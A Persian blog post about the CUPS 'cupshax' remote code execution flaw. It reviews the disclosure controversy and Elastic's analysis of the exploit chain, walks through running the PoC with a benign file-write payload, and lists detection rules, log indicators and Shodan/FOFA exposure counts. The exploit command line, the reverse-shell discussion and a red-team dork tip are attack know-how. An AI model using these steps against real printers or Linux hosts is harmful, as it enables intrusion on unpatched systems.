یه نفری، محقق رو متهم کرده، بویژه به دلیل شدت CVSS 9.9 که در این توییت ادعا کرده. البته، همونطور که محقق در این رشته بسیار شفاف گفته، واقعاً با امتیازهای CVSS، نحوه اختصاص اونا و … آشنا نبوده. اما یک تصویر از گزارش VINCE از امتیازهای اولیه CVSS، از جمله 9.9، توسط یک مهندس RedHat (و همچنین توسط یکی دیگه) منتشر کرده:
محقق گفته که من خیلی حرفه ای نیستم و فکر میکنم 9.9 اولیه بیشتر به دلیل گستردگی پکیج باشه نه خود RCE. بنابراین خودش معتقده که امتیاز 9.9 زیاده.
قضیه اونجا جالب میشه که یک بنده خدایی، گزارش ارسال شده به VINCE CERT رو در یک فروم هکری منتشر میکنه. محقق معتقده که VINCE CERT یا یک بکدور داره، یا یک نشت داخلی، یا هیچ بررسی در مورد اینکه کی رو به بخش افشا اضافه میکنه، نداره، چون نشت گزارش دقیق markdown که محقق فقط اونجا منتشر کرده، از جمله اکسپلویت، در این فروم بصورت کامل منتشر شده.
بررسی POC:
محققای elastic یکی از POCهای منتشر شده برای این آسیب پذیری که به cupshax معروف هستش رو بررسی کردن. این POC قابلیت اجرا بصورت محلی رو داره. علاوه بر این POC، یک POC دیگه هم اینجا هستش که توسط خود محقق توسعه داده شده.
برای شروع، PoC از یک کلاس سفارشی پایتون استفاده میکنه که مسئول ایجاد و ثبت سرویس چاپگر جعلی در شبکه با استفاده از mDNS/ZeroConf هستش. این کار عمدتاً با ایجاد یک ورودی سرویس ZeroConf برای چاپگر IPP جعلی انجام میشه.
mDNS/ZeroConf بطور خلاصه به دستگاهها اجازه میده بدون نیاز به پیکربندی دستی، خودشون رو در شبکه محلی شناسایی کنن و خدمات خودشون رو ارائه بدن. این تکنولوژی به ویژه برای شبکههای خونگی و کوچک بسیار کاربردی هستش.
هنگام اجرا، PoC، یک اعلان عمومی چاپگر جعلی رو پخش (broadcast) میکنه و منتظر درخواستهای IPP میمونه. وقتی که یک سیستم آسیبپذیر این broadcast رو میبینه، قربانی بطور خودکار ویژگیهای چاپگر رو از یک URL ارائه شده در پیام broadcast درخواست میکنه. PoC با ویژگیهای IPP از جمله پارامتر FoomaticRIPCommandLine پاسخ میده که بدلیل سابقه CVE هاش شناخته شده هستش. قربانی یک فایل PPD رو از این ویژگیهای IPP تولید و ذخیره میکنه.
در این مرحله، ادامه اجرا نیاز به تعامل کاربر برای شروع یک print job و انتخاب ارسال اون به چاپگر جعلی داره. پس از ارسال یک print job، فایل PPD، به CUPS نحوه رسیدگی به این print job رو میگه. دستور FoomaticRIPCommandLine قرار گرفته در اون، اجازه میده تا اجرای دلخواه دستور در دستگاه قربانی صورت بگیره.
محققا در طول اجرای Cupshax PoC، با یسری جزییات جالب مواجه شدن که در ادامه اونارو بررسی میکنیم.
هنگام اجرای دستورات دلخواه برای ایجاد فایلها، محققا متوجه شدن که lp، کاربر و گروه گزارش شده برای اجرای دستورات دلخواه هستش که گروه پیشفرض چاپ در سیستمهای لینوکسی هستش، که از ابزارهای CUPS استفاده میکنن. بنابراین، Cupshax هم به آسیبپذیریهای CUPS و هم به کاربر lp نیاز داره تا مجوزهای کافی برای بازیابی و اجرای یک پیلود مخرب رو داشته باشه. بطور پیشفرض، کاربر lp در بسیاری از سیستمها، مجوزهای لازم برای اجرای پیلودهای مؤثری مانند reverse shell رو داره. با این حال، یک اقدام کاهشی جایگزین محدود کردن lp هستش، تا این پیلودها رو از طریق کنترلهای بومی موجود در لینوکس مانند سیاستهای AppArmor یا SELinux، همراه با سیاستهای اجرای فایروال یا IPtables، بیاثر کنه.
کاربر lp در بسیاری از تنظیمات پیشفرض به دستوراتی دسترسی داره که برای سرویس چاپ ضروری نیستن، مانند telnet. برای کاهش سطح حمله، توصیه شده سرویسهای غیر ضروری رو حذف کرده و در صورت نیاز محدودیتهایی برای جلوگیری از استفاده کاربر lp از اونا اضافه کنید.
محققا همچنین متوجه شدن که reverse shellهای تعاملی، بلافاصله از طریق این تکنیک پشتیبانی نمیشن، چون کاربر lp شل ورود (login shell) به سیستم رو نداره. با این حال، با برخی تاکتیکهای خلاقانه، تونستن همچنان این کار رو با PoC انجام بدن. PoCهای معمولی با نوشتن یک فایل در /tmp/، که تشخیص اون در اکثر موارد ساده هستش، این اکسپلویت رو تست میکنن. توجه داشته باشید که کاربری که این فایل رو مینویسه lp خواهد بود، بنابراین رفتار مشابهی برای مهاجمانی که این پیلود رو دانلود و در دیسک ذخیره میکنن، مشاهده خواهد شد.
در کنار این مشاهدات، پروسس والد، foomatic-rip ، در حال اجرای شل، مشاهده شده، که بسیار غیرمعمول هستش.
در این ویدیو محققا نشون دادن که چطوری یک پیلود رو از راه دور دانلود، کامپایل و اجرا کرده :
در نهایت محققای Elastic، تونستن با موفقیت reverse shell بگیرن:
نحوه ی اجرای CUPSHAX:
خب کلی در مورد این آسیب پذیری صحبت کردیم، ولی هیچی کار عملی نمیشه. در این قسمت میخواییم محیط رو بالا بیاریم و این اکسپلویت رو اجرا کنیم. من برای تست این اکسپلویت، از اوبونتو 22 استفاده کردم.
برای اینکه این سرویس CUPS رو مشاهده کنید، یک اینترفیس مدیریتی مبتنی بر وب داره که در آدرس 127.0.0.1:631 قرار داره. اینجوری من متوجه شدم که رو این لینوکس این سرویس رو دارم.
نکته ردتیمی: میشه ازش بعنوان دورک استفاده کرد.
برای اجرای اکسپلویت CUPSHAX باید مراحل زیر رو طی کنیم:
1- اکسپلویت در پایتون 3 توسعه داده شده، بنابراین نیاز دارید پایتون 3 رو داشته باشید.
2- برای اجرای اکسپلویت نیاز به 2 تا پکیج پایتونی بنام zeroconf و ippserver دارید. برای نصب این پکیجها میتونید از PIP استفاده کنید. اگه فقط پایتون 3 رو رو سیستمتون دارید، میتونید از دستورات زیر استفاده کنید:
1 2 |
pip install zeroconf pip install ippserver |
اگه چندین نسخه از پایتون رو دارید، ما باید مشخص کنیم که برای پایتون 3 میخواییم، برای همین میتونید از این دستورات استفاده کنید:
1 2 |
pip3 install zeroconf pip3 install ippserver |
اگه برای نصب این دو تا پکیج پایتونی باید لینوکس رو 2 گیگ آپدیت کنید، میتونید بصورت دستی اینارو نصب کنید. برای اینکار باید فایلهاش رو دانلود کنید. من همه رو داخل کانال و گیتهابمون قرار دادم، اما برای اینکه امن باشه، از این لینکها نسخه فشرده، یعنی gz رو دانلود کنید : ippserver | zeroconf
بعد از دانلود، اونارو از حالت فشرده خارج کنید و فایل setup.py رو بصورت زیر اجرا کنید:
1 |
sudo python3 setup.py install |
اگه خطا گرفتید که برای نصب باید پکیج setuptools رو باید داشته باشید، اونم میتونید از این لینک دانلود و از حالت فشرده خارج کنید و از طریق دستور بالا، اول این پکیج رو نصب کنید و بعد برید سراغ پکیج های قبلی. کلا این روش کلی نصب پکیج پایتونی بصورت دستی هستش.
خب تا اینجا ما پایتون و پکیج های مورد نیاز برای اجرای اکسپلویت رو داریم.
3- برای اینکه بتونیم این اکسپلویت رو بصورت محلی و روی یک پورت خاص تست کنیم، یک پورت خاص رو روی فایروال باز میکنیم. برای این منظور یک ترمینال باز کرده و دستور زیر بزنید: (ufw یک فایروال ساده برای لینوکس هستش و 4567 پورتی هستش که من بازش کردم. شما میتونید هر چیزی بدید، فقط پورتهای کاربردی رو ندید)
1 |
sudo ufw allow 4567 |
4- از طریق دستور زیر میتونیم این اکسپلویت رو اجرا کنیم:
1 |
python3 cupshax.py --ip 192.168.18.129 --name onhexgroup --port 4567 --command "echo onhexgroup.ir > /tmp/onhex_ir" |
شرح پارامترهای دستور :
- پارامتر IP: مشخص کننده IP سیستمی هستش که این اکسپلویت روش در حال اجراست. برای من 192.168.18.129 هستش. برای اینکه آدرس IP رو در سیستم لینوکسی دربیارید، میتونید از دستورات ip addr یا ifconfig و … استفاده کنید.
- پارامتر name: این پارامتر مشخص کننده اسم پرینتر ماست. من onhexgroup رو انتخاب کردم.
- پارامتر port: مشخص کننده پورت هستش. من پورت 4567 رو انتخاب کردم.
- پارامتر command: این پارامتر مشخص کننده دستوری هستش که قراره اجرا بشه. من تو این دستور گفتم عبارت onhexgroup.ir رو در مسیر tmp/onhex_ir بریز. (سایت بریز تو کانال تلگراممون). فقط حواستون باشه که دستور رو داخل “” بریزید.
5- برای اجرا نیاز هستش تا یک پرینتی گرفته بشه. برای این منظور از یک صفحه پرینت بگیرید (Ctrl+P). اگه همه مراحل رو به درستی طی کرده باشید، پرینتر اضافه شده که برای من onhexgroup بود رو میبینید : (فرایند پرینت گرفتن رو تکمیل کنید)
6- اکسپلویت دستور من رو اجرا کرده. در مسیر tmp یک فایلی ایجاد کرده بنام onhex_ir (آدرس تلگرامی ما) :
اگه این فایل باز کنیم آدرس اینترنتی مارو مشاهده میکنیم. برای این کار میتونید از دستور زیر استفاده کنید :
1 |
sudo nano onhex_ir |
روش های تشخیص:
اجرای شل توسط cupsd یا foomatic-rip:
اولین قانون تشخیص، شناسایی پروسسهایی هستش که foomatic-rip رو اجرا میکنن و بلافاصله یک شل رو راه اندازی میکنن. با توجه به اینکه print jobها به ندرت نیاز به اجرای شل دارن، بنابراین این میتونه بعنوان شاخصی برای شناسایی رفتار مخرب تلقی بشه. نکته : اگه اجرای دستورات دلخواه امکانپذیر باشه، یک shell همیشه هدف یک مهاجم نیست. (رول Elastic)
اجرای شل کاربر چاپگر (lp) :
این رول تشخیص، فرض میکنه که کاربر پیشفرض چاپگر (lp)، فرآیندهای چاپ رو مدیریت میکنه. با مشخص کردن این کاربر، میتونید دامنه رو محدود کرده و در عین حال لیست پروسس های والد رو برای شامل کردن cupsd گستردهتر کنیم. اگرچه در حال حاضر هیچ نشانهای وجود نداره که RCE بتونه از طریق cupsd اکسپلویت بشه، اما نمیشه این احتمال رو رد کرد. (رول Elastic)
اتصال به شبکه توسط پروسس های فرزند foomatic-rip :
این قانون، اتصالات شبکهای رو شناسایی میکنه که توسط پروسسهای فرزند foomatic-rip آغاز شدن، که یک رفتار مشکوک هستن. از آنجایی که عملیاتهای مشروع، معمولاً شامل ایجاد اتصالات خروجی توسط این پروسسها نیستن، هر فعالیت شناسایی شده باید به دقت بررسی بشه. اگه چنین اتصالاتی در محیط شما انتظار میره، اطمینان حاصل کنید که آدرسهای IP مقصد بدرستی مستثنی شدن تا از هشدارهای غیرضروری جلوگیری بشه. (رول Elastic)
ایجاد فایل توسط پروسسهای فرزند foomatic-rip :
این قانون، رویدادهای مشکوک ایجاد فایل رو شناسایی میکنه که توسط پروسسهای فرزند foomatic-rip آغاز شدن. از آنجایی که تمام POCهای فعلی یک پیلود تستی پیشفرض رو برای نوشتن در یک فایل در /tmp/ دارن، این قانون میتونه اونارو تشخیص بده. علاوه بر این، میتونه سناریوهایی رو تشخیص بده که در اون یک مهاجم یک پیلود مخرب رو دانلود کرده و بعدش یک فایل ایجاد میکنه. (رول Elastic)
اجرای مشکوک از foomatic-rip یا والد cupsd :
این قانون، خط فرمان مشکوکی رو که توسط پروسسهای فرزند foomatic-rip و cupsd اجرا میشن رو، شناسایی میکنه. این قانون بر شناسایی فعالیتهای بالقوه مخرب، از جمله مکانیزمهای ماندگاری، دانلود فایلها، عملیات رمزگذاری/رمزگشایی، reverse shell و لوود shared-object از طریق GTFOBins تمرکز داره. (رول Elastic)
شناسایی فایهای ایجاد شده در CUPS:
همونطور که بالا اشاره شده، با اجرای این اکسپلویت یک فایل PPD ایجاد میشه. میتونیم از طریق این فایل هم رفتار مخرب رو شناسایی بکنیم. فقط نکته ای که وجود داره، هنگام اجرای اکسپلویت این فایل ایجاد میشه و بعدش ممکنه CUPS اونو حذف کنه. این فایل در مسیر/etc/cups/ppd
/ قرار میگیره.
بررسی لاگهای CUPS:
فایل /var/log/cups/error_log
، شامل اطلاعات خطا در خصوص فیلترهایی هستش که به درستی اجرا نشدن. برای مثال در لاگهای زیر، اولی نشون دهنده اضافه شدن یک پرینتر مخرب هستش و لاگ دوم نشون دهنده اجرای OS Command هستش :
1 2 |
D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax" D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\" |
وضعیت آسیب پذیری:
در زمان نگارش این پست، از طریق موتورهای جستجوی شودان و FOFA، نتایج زیر رو داشتیم: (لیست موتورهای جستجو برای امنیت سایبری)
شودان:
برای بررسی این آسیب پذیری در شودان میتونید از این لینک استفاده کنید. نزدیک به 74 هزار نتیجه رو داریم که 5 کشور اول: کره، آمریکا، هنگ کنگ، آلمان و چین هستن.
اگه نتایج رو محدود به ایران کنیم، 102 مورد داریم.
FOFA :
برای اینکه بتونید در موتور جستجوی FOFA این آسیب پذیری رو جستجو کنید، میتونید از این لینک استفاده کنید. نتایج در حدود 490,429 هستش و 5 کشور برتر: چین، کره، آمریکا، تایلند و تایوان هستن.
اگه نتایج رو محدود به ایران کنیم، 367 مورد داریم.
تمپلیت Nuclei:
از طریق تمپلیت Nuclei هم میتونید این آسیب پذیری رو تست کنید. برای دسترسی به این تمپلیت اینجا رو ببینید. اگه نمیدونید تمپلیت Nuclei چیه، شماره یک و دو نشریه ی OnHexMag رو مطالعه کنید.
منابع: